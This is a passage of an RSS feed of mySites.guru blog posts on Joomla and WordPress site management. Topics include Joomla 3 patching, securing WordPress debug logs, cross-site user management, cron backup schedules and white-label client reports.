&lt;p&gt;Joomla 3 is end of life, but it still runs on a huge number of sites. Joomla&apos;s own usage statistics put 3.10.x at over 35% of reporting installations. If you run a digital agency, you know how it goes: migrating clients takes budget, developer time, and client sign-off. That doesn&apos;t happen overnight, and the sites still need protecting while you work through the backlog.&lt;/p&gt;
&lt;p&gt;The 3.10.999 project and the mySites.guru patch tool are there for exactly that gap. Keep sites secure while you plan and execute the migration to Joomla 6.&lt;/p&gt;
&lt;h2&gt;Get started&lt;/h2&gt;
&lt;p&gt;Add your Joomla 3 sites to mySites.guru, flip the patch toggle, and get on with the migration planning.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Start your free trial&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Legacy security is covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;full security guide for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>security</category><category>end-of-life</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-9.DPoaOaMs.webp" length="0" type="image/webp"/></item><item><title>Anonymize Data Before Taking Screenshots</title><link>https://mysites.guru/blog/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account/</link><guid isPermaLink="true">https://mysites.guru/blog/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account/</guid><description>Append ?anon=1 to any mySites.guru URL to instantly replace site names, URLs, and user data with randomised values so you can share screenshots safely.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We love that people share screenshots of our &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Joomla and WordPress management tools&lt;/a&gt;, but doing so can reveal live site names, customer names, and URLs. You probably don&apos;t want those immortalized in images, and neither do we.&lt;/p&gt;
&lt;p&gt;So we built a way to anonymize all that data right in the browser.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;Append &lt;strong&gt;?anon=1&lt;/strong&gt; to any URL in your mySites.guru account and all site names, URLs, tags, usernames, and avatars are instantly replaced with randomized data.&lt;/p&gt;
&lt;p&gt;Try it: &lt;a href=&quot;https://manage.mysites.guru/en/sites/?anon=1&quot;&gt;https://manage.mysites.guru/en/sites/?anon=1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;In the screenshot above, &quot;Ethan Martinez&quot; is a fake name generated on the fly. Every name, URL, and avatar on the page is randomized.&lt;/p&gt;
&lt;p&gt;This works on every page in mySites.guru. If you&apos;re writing a blog post, giving a presentation, or sharing your setup on social media, just add &lt;code&gt;?anon=1&lt;/code&gt; and take your screenshot.&lt;/p&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;The anonymized data comes from a couple of open-source projects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://randomuser.me/&quot;&gt;randomuser.me&lt;/a&gt; for fake usernames, names, and avatars&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://robohash.org&quot;&gt;robohash.org&lt;/a&gt; for the robot avatar images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you spot one of those little robot faces, now you know why they&apos;re there.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Practical tips like this are part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>tips</category><category>privacy</category><category>screenshots</category><category>site management</category><enclosure url="https://mysites.guru/_astro/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account.B8-_NSj0.png" length="0" type="image/png"/></item><item><title>Top 50 Joomla Extensions in 2026</title><link>https://mysites.guru/blog/top-50-joomla-extensions/</link><guid isPermaLink="true">https://mysites.guru/blog/top-50-joomla-extensions/</guid><description>Real-time ranking of the top 50 most-installed Joomla extensions, pulled live from the mySites.guru database of 90,000+ connected sites.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;People are always interested in what other people are using to build their Joomla site. We have the data, so while other sites might blog post about this with static information, we thought we would make this REAL TIME and accessible to all our mySites.guru subscribers, updated with data in real time pulling from our database of over 90,000+ sites&lt;/p&gt;
&lt;p&gt;No Surprises by Akeeba Backup and Joomla Content Editor win hands down. JCE being this widely installed is also why the &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles hack&lt;/a&gt; matters so much: an unauthenticated flaw in older versions is being actively exploited to drop webshells, so check every JCE install you manage is patched.&lt;/p&gt;
&lt;p&gt;Login to your mySites.guru account (Subscribe today if you have not already) and then head on over to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;https://manage.mysites.guru/en/extensions/top/50&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For those that are not customers, here is a sneak preview of the top 10 extensions for Joomla, at the end of November 2019.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Want to make sure your site is compatible with Joomla 5?&lt;/h2&gt;
&lt;p&gt;Check out the new mySites.guru &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 Technical Requirements Checker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For agency-focused guidance on managing Joomla extensions, updates, and client sites, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><enclosure url="https://mysites.guru/_astro/LARGE-IMAGES.d6MP6oca.webp" length="0" type="image/webp"/></item><item><title>WordPress Debug Constants Explained</title><link>https://mysites.guru/blog/understanding-wordpress-debug-constants/</link><guid isPermaLink="true">https://mysites.guru/blog/understanding-wordpress-debug-constants/</guid><description>WP_DEBUG_LOG writes errors to a publicly accessible file that Google has indexed on thousands of sites. Here&apos;s the fix, plus what every debug constant does.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress has a handful of PHP constants that control how errors are reported. They all live in your &lt;code&gt;/wp-config.php&lt;/code&gt; file, and most WordPress developers never touch them. That&apos;s usually fine until something breaks and you have no idea why.&lt;/p&gt;
&lt;p&gt;But one of these constants has a security problem that most people miss entirely.&lt;/p&gt;
&lt;h2&gt;Why is WP_DEBUG_LOG a security risk on live sites?&lt;/h2&gt;
&lt;p&gt;This is the one that catches people out. Setting &lt;code&gt;WP_DEBUG_LOG&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; writes PHP errors to &lt;code&gt;/wp-content/debug.log&lt;/code&gt;, and that file is publicly accessible by default. Anyone who knows the path can read it. Worse, &lt;a href=&quot;https://www.google.com/search?q=allinurl%3Awp-content%2Fdebug.log&quot;&gt;Google has already indexed thousands of them&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;These log files can expose database credentials, file paths, plugin internals, and other details that make an attacker&apos;s job much easier. If your site has &lt;code&gt;WP_DEBUG_LOG&lt;/code&gt; set to &lt;code&gt;true&lt;/code&gt; in production, fix it now.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; pass a custom, hard-to-guess filename instead of &lt;code&gt;true&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_DEBUG_LOG&apos;, &apos;myOwnRandomFileName_as8f6safsif.log&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now nobody can guess the URL. The log still works, but it&apos;s not sitting at a predictable path waiting to be found.&lt;/p&gt;
&lt;p&gt;If you&apos;re worried that your debug log has already been exposed, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;run a suspect content scan&lt;/a&gt; to check for any signs of compromise.&lt;/p&gt;
&lt;h2&gt;The WordPress debug constants&lt;/h2&gt;
&lt;p&gt;Here&apos;s what each one does and when to use it. The official docs are at &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/&quot;&gt;WordPress.org&apos;s Advanced Administration Handbook&lt;/a&gt; if you want the full reference.&lt;/p&gt;
&lt;h2&gt;WP_DEBUG&lt;/h2&gt;
&lt;p&gt;The main switch. Set it to &lt;code&gt;true&lt;/code&gt; and WordPress will show PHP errors, notices, and warnings on screen.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_DEBUG&apos;, true );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Leave this on in development, turn it off in production. Simple.&lt;/p&gt;
&lt;h2&gt;WP_DEBUG_LOG&lt;/h2&gt;
&lt;p&gt;As covered above, this writes errors to a log file instead of printing them on screen. Useful for production sites where you don&apos;t want visitors seeing PHP warnings, but &lt;strong&gt;never set it to &lt;code&gt;true&lt;/code&gt;&lt;/strong&gt; on a live site. Always use a custom filename.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_DEBUG_LOG&apos;, &apos;myOwnRandomFileName_as8f6safsif.log&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WP_DEBUG_DISPLAY&lt;/h2&gt;
&lt;p&gt;Controls whether errors show on screen. Set to &lt;code&gt;false&lt;/code&gt; on live sites so errors get logged but visitors don&apos;t see them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_DEBUG_DISPLAY&apos;, false );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SCRIPT_DEBUG&lt;/h2&gt;
&lt;p&gt;Forces WordPress to load the full, unminified versions of its CSS and JS files instead of the minified ones. Handy when you&apos;re debugging front-end issues and need to actually read the source.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;SCRIPT_DEBUG&apos;, true );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SAVEQUERIES&lt;/h2&gt;
&lt;p&gt;Stores every database query in &lt;code&gt;$wpdb-&amp;gt;queries&lt;/code&gt; so you can inspect them. Good for tracking down slow queries, but leave it off in production because it adds overhead.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;SAVEQUERIES&apos;, true );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checking WordPress debug constants across all your sites&lt;/h2&gt;
&lt;p&gt;Manually checking &lt;code&gt;wp-config.php&lt;/code&gt; on every site gets old fast. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru snapshot&lt;/a&gt; reads your WordPress config and &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;flags anything that doesn&apos;t match best practice&lt;/a&gt;. Most settings have &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;one-click toggles&lt;/a&gt; so you can fix them without editing files. The same one-click approach works for other WordPress configuration checks, like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabling automatic updates&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;cleaning up leftover default content&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also view any single constant across all your connected sites at once using the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Ultimate Toolset&lt;/a&gt;. Click through any &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; to see that value on every site in one view.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;For a broader look at hardening your WordPress and Joomla installations, see the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Need someone to fix it for you?&lt;/h2&gt;
&lt;p&gt;If debugging isn&apos;t your thing, or you&apos;d rather not deal with it, we offer set-fee site fixes at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;&lt;/strong&gt;. No hourly billing, no surprises.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Can you try mySites.guru free for a month?&lt;/h2&gt;
&lt;p&gt;We haven&apos;t raised &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;our prices&lt;/a&gt; since 2012. But if you want to see the toolset for yourself first, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;use mySites.guru free for a whole month&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>debugging</category><category>php</category><category>security</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-4.CmCw9zU0.webp" length="0" type="image/webp"/></item><item><title>Universal User Management Across Sites</title><link>https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/</guid><description>Search, edit, and reset passwords for users across all your Joomla and WordPress sites from one page. Manage roles, revoke access, and save hours.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru lets you manage all your users, across all your sites, from a single page. Change email addresses, reset passwords, assign roles and permissions, block accounts. No logging into each site individually.&lt;/p&gt;
&lt;p&gt;This is part of the &lt;a href=&quot;https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/&quot;&gt;mySites.guru&lt;/a&gt; dashboard, which covers unlimited Joomla, WordPress, and PHP sites for &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99 per month&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The idea behind Universal User Management&lt;/h2&gt;
&lt;h3&gt;Password resets without the runaround&lt;/h3&gt;
&lt;p&gt;Your client calls to say they&apos;ve forgotten their password. Before mySites.guru, you&apos;d have to go to their website, remember your own credentials, log in, find their user account, reset the password, and relay the new one back to them.&lt;/p&gt;
&lt;p&gt;With Universal User Management, you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to &lt;a href=&quot;https://manage.mysites.guru/en/universal_user_management/&quot;&gt;Universal User Management&lt;/a&gt; (find it in the left menu, or press Shift twice to open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Search by name or email address&lt;/li&gt;
&lt;li&gt;Click edit next to their user account&lt;/li&gt;
&lt;li&gt;Change the password&lt;/li&gt;
&lt;li&gt;Save - done&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Step 1: Search&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;Step 2: Select one or more user accounts found across your sites, or click edit to update a specific user&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;💡 That&apos;s it - password reset done in seconds, not minutes.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Revoking access for a departing team member&lt;/h3&gt;
&lt;p&gt;A staff member leaves your agency, maybe on bad terms, and you need to find every client site they have access to. Search their name or email address and you get back a list of every site where they have an account. Reset the password or block them across all of those sites at once.&lt;/p&gt;
&lt;h3&gt;Bulk name changes&lt;/h3&gt;
&lt;p&gt;A user gets married and wants their new surname updated across all their accounts. Universal User Management handles that across hundreds of sites in one go.&lt;/p&gt;
&lt;h3&gt;Role and permission changes&lt;/h3&gt;
&lt;p&gt;Need to change someone from editor to administrator across all their sites? Search, edit, save. Same process works in reverse if you need to downgrade permissions.&lt;/p&gt;
&lt;h3&gt;Searching for suspicious accounts&lt;/h3&gt;
&lt;p&gt;Investigating a compromised account? Search all users on all sites by name, email address, or email domain to track down suspicious or unauthorized accounts.&lt;/p&gt;
&lt;h3&gt;Got a different use case?&lt;/h3&gt;
&lt;p&gt;There are plenty more situations where searching and editing users across sites comes in handy. If you&apos;ve got one we haven&apos;t thought of, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;let us know&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The full list of features&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Search users across all connected sites by name or email&lt;/li&gt;
&lt;li&gt;Edit email addresses, passwords, names, and roles&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;Log in as any user on any site&lt;/a&gt; using mySites.guru AutoLogin&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;On the roadmap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Block a user across sites (WordPress has no built-in concept of blocking, so this needs custom handling)&lt;/li&gt;
&lt;li&gt;Remove two-factor authentication from a Joomla user&lt;/li&gt;
&lt;li&gt;Retrieve 2FA backup codes from a Joomla user so you can give your client a one-time login to re-enable it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Managing your &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team&apos;s access&lt;/a&gt; to mySites.guru itself is handled separately through the team management feature.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>user management</category><category>site management</category><category>agency tools</category><enclosure url="https://mysites.guru/_astro/Manage-Your-Joomla-Extensions.nYtk9sfG.webp" length="0" type="image/webp"/></item><item><title>Unlimited Backup Schedules With Cron Syntax</title><link>https://mysites.guru/blog/unlimited-backup-schedules/</link><guid isPermaLink="true">https://mysites.guru/blog/unlimited-backup-schedules/</guid><description>Create unlimited backup schedules in mySites.guru using cron syntax. Assign different Akeeba Backup profiles per schedule.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;mySites.guru lets you create &lt;strong&gt;unlimited backup schedules&lt;/strong&gt;, each defined with a cron expression. You pick the timing, the frequency, and which Akeeba Backup profile to use - per schedule.&lt;/p&gt;
&lt;h2&gt;Example schedules&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Daily morning&lt;/strong&gt; - back up using the &quot;Default Backup Profile&quot; and save on the server every morning&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nightly FTP&lt;/strong&gt; - send a backup to FTP every evening&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weekly offsite&lt;/strong&gt; - send a backup to Amazon Glacier once a week on Tuesday&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Cron expression syntax&lt;/h2&gt;
&lt;p&gt;Cron syntax is a standard way of defining when a scheduled event should run. If you&apos;ve ever configured a server, you&apos;ve probably seen it.&lt;/p&gt;
&lt;p&gt;If you want a deep dive, see the &lt;a href=&quot;https://en.wikipedia.org/wiki/Cron#CRON_expression&quot;&gt;Wikipedia article on cron expressions&lt;/a&gt; - but most agencies using mySites.guru will already be familiar with cron.&lt;/p&gt;
&lt;p&gt;Cron has 5 segments: &lt;code&gt;* * * * *&lt;/code&gt; (a star means &quot;every&quot;). So &lt;code&gt;* * * * *&lt;/code&gt; means every minute of every day - probably not what you want for backups.&lt;/p&gt;
&lt;p&gt;You can adjust the syntax for granular control. Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Daily at 09:15 UTC&lt;/strong&gt; - &lt;code&gt;15 9 * * *&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weekly on Tuesday at 12:34 UTC&lt;/strong&gt; - &lt;code&gt;34 12 * * 2&lt;/code&gt; (the &lt;code&gt;2&lt;/code&gt; represents Tuesday, where 0 = Sunday)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monthly on the 26th at 04:36 UTC&lt;/strong&gt; - &lt;code&gt;36 4 26 * *&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can you use different backup profiles per schedule?&lt;/h2&gt;
&lt;p&gt;You can specify a different Akeeba Backup profile for each schedule. This means you can run a daily on-server backup, a weekly off-server backup, and a monthly Amazon S3 backup - all at the same time.&lt;/p&gt;
&lt;p&gt;If you&apos;re already using &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; Professional, this is where those extra profiles actually become useful.&lt;/p&gt;
&lt;h2&gt;Powered by Akeeba Backup&lt;/h2&gt;
&lt;p&gt;Akeeba Backup Professional is the backup solution we&apos;ve integrated with since day one. We use their API directly and recommend their tools to every customer.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;💡 Recommendation&lt;/p&gt;
  &lt;p&gt;If you&apos;re new to Joomla or WordPress and need a solid backup solution, pick up a subscription to Akeeba Backup Professional - and grab Admin Tools Professional while you&apos;re there.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;mySites.guru also supports the &lt;strong&gt;All-in-One WP Migration&lt;/strong&gt; backup plugin for WordPress.&lt;/p&gt;
&lt;h2&gt;How Often Should You Back Up?&lt;/h2&gt;
&lt;p&gt;When we migrated existing backup schedules to cron syntax, here&apos;s what we saw across our user base:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Take a backup before any major changes, and set a frequency that matches your risk appetite. The gap between your backups is the amount of data you stand to lose - keep that gap as small as practical.&lt;/p&gt;
&lt;h2&gt;Where should you store your backups?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Don&apos;t store backups on the same server as your website.&lt;/strong&gt; A single datacenter fire or server compromise could wipe out both your site and its backups in one go.&lt;/p&gt;
&lt;p&gt;Akeeba Backup Professional supports Amazon S3, FTP, Google Drive, and other remote storage services. Most of them cost almost nothing.&lt;/p&gt;
&lt;p&gt;For a broader look at &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduling backups, audits, and updates&lt;/a&gt;, see our dedicated scheduling guide.&lt;/p&gt;
&lt;h2&gt;What about existing schedules?&lt;/h2&gt;
&lt;p&gt;If you had backup schedules configured before the switch to cron syntax, those were automatically migrated. We took your selected profile number and daily/weekly/monthly setting, looked at the date of your last backup, and generated an equivalent cron expression.&lt;/p&gt;
&lt;p&gt;For a complete guide on fitting backups into your update and maintenance workflow, see &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>akeeba</category><category>scheduling</category><category>cron</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-17.QC-ZTlMJ.webp" length="0" type="image/webp"/></item><item><title>mySites.guru No Longer Provides UptimeRobot Status Pages</title><link>https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/</link><guid isPermaLink="true">https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/</guid><description>mySites.guru replaced UptimeRobot with its own uptime monitoring engine after UptimeRobot raised fees by 352%. Here&apos;s what changed.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru no longer integrates with &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot.com&lt;/a&gt; for uptime monitoring or status pages.&lt;/p&gt;
&lt;p&gt;We &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;built our own monitoring engine&lt;/a&gt; instead. It&apos;s part of the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Ultimate Toolset&lt;/a&gt; included with every mySites.guru subscription, no extra cost.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Why we stopped using UptimeRobot&lt;/p&gt;
  &lt;p&gt;mySites.guru used UptimeRobot for uptime monitoring from 2012 until August 2021. After UptimeRobot was acquired by itrinity in 2019, the service suffered repeated outages and our account was terminated without warning on multiple occasions. In July 2021, the new owners tried to raise our annual fee from $6,792 to $22,416 (a 352.4% increase) with 66 days&apos; notice. We declined, and on 12th August 2021 we switched to our own custom-built monitoring engine. It handles all our monitoring at a fraction of the cost, with no third-party dependency.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The engine checks every connected site once per minute and runs three separate checks before firing an alert, so you&apos;re not getting woken up over a false positive.&lt;/p&gt;
&lt;p&gt;If you&apos;re wondering why you&apos;re getting downtime alerts, we wrote a separate guide on &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;how the alerts work and what they mean&lt;/a&gt;. For a complete look at monitoring strategy for agencies, see the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>uptimerobot</category><category>status pages</category><enclosure url="https://mysites.guru/_astro/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers.DWSDrxq_.png" length="0" type="image/png"/></item><item><title>White-Label Activity Reports for Clients</title><link>https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/</guid><description>Send automated, branded site activity reports to your clients on any schedule. Covers updates, backups, audits, uptime and more - included in every plan.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage Joomla or WordPress sites for clients, reporting is one of those tasks that either eats your time or doesn&apos;t happen at all. mySites.guru&apos;s white-label reports solve both problems: they generate automatically on whatever schedule you set and email directly to your clients from your own address.&lt;/p&gt;
&lt;h2&gt;Automated reports, on your schedule&lt;/h2&gt;
&lt;p&gt;One of the things that sets mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt; apart is that you configure them once and forget about them. You can create &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;unlimited report schedules&lt;/a&gt;, each running on its own cron - daily, weekly, monthly, whatever you need - and have them emailed to as many people as you want, including your clients directly.&lt;/p&gt;
&lt;p&gt;The report period is flexible too. A few examples:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Monthly client report&lt;/strong&gt; - Send your client an email from your own address on the 7th of every month at 1am, with a report covering just their 2 sites plus any sites tagged &quot;client-name&quot;, excluding version numbers, with your logo in the header. It runs every month until you cancel it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Weekly overview for yourself&lt;/strong&gt; - Send yourself a summary every Sunday of all available updates across every site in your account, using the default template.&lt;/p&gt;
&lt;h2&gt;Flexible site selection&lt;/h2&gt;
&lt;p&gt;Some reporting tools only let you pick individual sites or a single tag. mySites.guru lets you combine both. Select 3 specific sites and 6 tags - the report includes those 3 sites plus every site matching any of those tags. If a site appears through multiple selections, it gets deduplicated automatically.&lt;/p&gt;
&lt;p&gt;You can use a tag per client, select individual sites per report, or mix and match however your workflow demands.&lt;/p&gt;
&lt;h2&gt;Unlimited, configurable reports&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Create as many report configurations as you need. Each one lets you set:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Report name&lt;/strong&gt; (used as the email subject line)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Schedule or manual-only&lt;/strong&gt; - toggle between scheduled delivery and on-demand generation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cron schedule&lt;/strong&gt; - use the built-in cron builder with simple clicks, no syntax to memorise
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Report period&lt;/strong&gt; - &quot;since the last report ran&quot;, between two fixed dates, or a set number of days before runtime&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site selection&lt;/strong&gt; - pick individual sites, tags, or any combination&lt;/li&gt;
